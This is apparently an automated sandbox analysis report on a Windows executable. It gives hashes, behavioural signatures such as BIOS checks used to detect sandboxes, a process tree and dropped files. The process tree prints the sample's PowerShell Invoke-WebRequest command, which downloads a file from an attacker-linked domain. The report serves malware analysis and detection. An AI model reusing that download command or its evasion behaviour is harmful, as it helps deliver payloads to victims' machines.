Analysis

  • max time kernel
    12s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/08/2024, 21:20

General

  • Target

    F8DA3C48BE96.exe

  • Size

    2.1MB

  • MD5

    1dbf4a8467163f45008047c43a782be0

  • SHA1

    8d795660e1162ce4ee3ad01eb75e28aa72a3357b

  • SHA256

    26a9f1460d39efc3c1a55187e119982da6719692cb83d2c30bf0e6dd8fb70670

  • SHA512

    8e0a4b624fba8edce274cbb4b5f47a3ebd40bcbbb56b1d7f579950da787479360ac35b700f728c7ceae9e62e0e16ffdff03b3541eb08a1dc24ad3109b14860a0

  • SSDEEP

    49152:ijCsZVi6Le0QtM8aE2erNQ7QlPC170zGpT37kB6q:ijFHp668TEZkUT66

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\F8DA3C48BE96.exe
    "C:\Users\Admin\AppData\Local\Temp\F8DA3C48BE96.exe"
    1⤵
    • Checks BIOS information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'http://authoritydev.club/gay-hehehehehehehheeheheheehhehe.txt' -OutFile 'response.txt'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'http://authoritydev.club/gay-hehehehehehehheeheheheehhehe.txt' -OutFile 'response.txt'"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3948
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:2268

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d511uaek.vlq.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\response.txt

            Filesize

            64B

            MD5

            189a3afa1a89b14e40da1307206b76e9

            SHA1

            c19aa29097f5028b3f22318c8260704ac1ce6c65

            SHA256

            b2ddf60dee8f98a8045c3a2392a93353f9970bf9742e7d262772d4acf9baeac5

            SHA512

            c9afd8d9fcbd73e382c90151d74b6bf0a4e2118abf0a7735291150d56d91a4102d4ccb6caba0b1129fab6cbfca74719b8f54cedeeca4d6deb45cd38e4e2da7d3

          • memory/3948-2-0x00007FFEFAED0000-0x00007FFEFB0C5000-memory.dmp

            Filesize

            2.0MB

          • memory/3948-3-0x00007FFEFAED0000-0x00007FFEFB0C5000-memory.dmp

            Filesize

            2.0MB

          • memory/3948-14-0x0000024E9F580000-0x0000024E9F5A2000-memory.dmp

            Filesize

            136KB

          • memory/3948-4-0x00007FFEFAED0000-0x00007FFEFB0C5000-memory.dmp

            Filesize

            2.0MB

          • memory/3948-18-0x0000024E9F260000-0x0000024E9F47C000-memory.dmp

            Filesize

            2.1MB

          • memory/3948-19-0x00007FFEFAED0000-0x00007FFEFB0C5000-memory.dmp

            Filesize

            2.0MB

          • memory/4992-0-0x00007FF73B240000-0x00007FF73B7FD000-memory.dmp

            Filesize

            5.7MB

          • memory/4992-1-0x00007FFEFAF70000-0x00007FFEFAF72000-memory.dmp

            Filesize

            8KB

          • memory/4992-23-0x00007FF73B240000-0x00007FF73B7FD000-memory.dmp

            Filesize

            5.7MB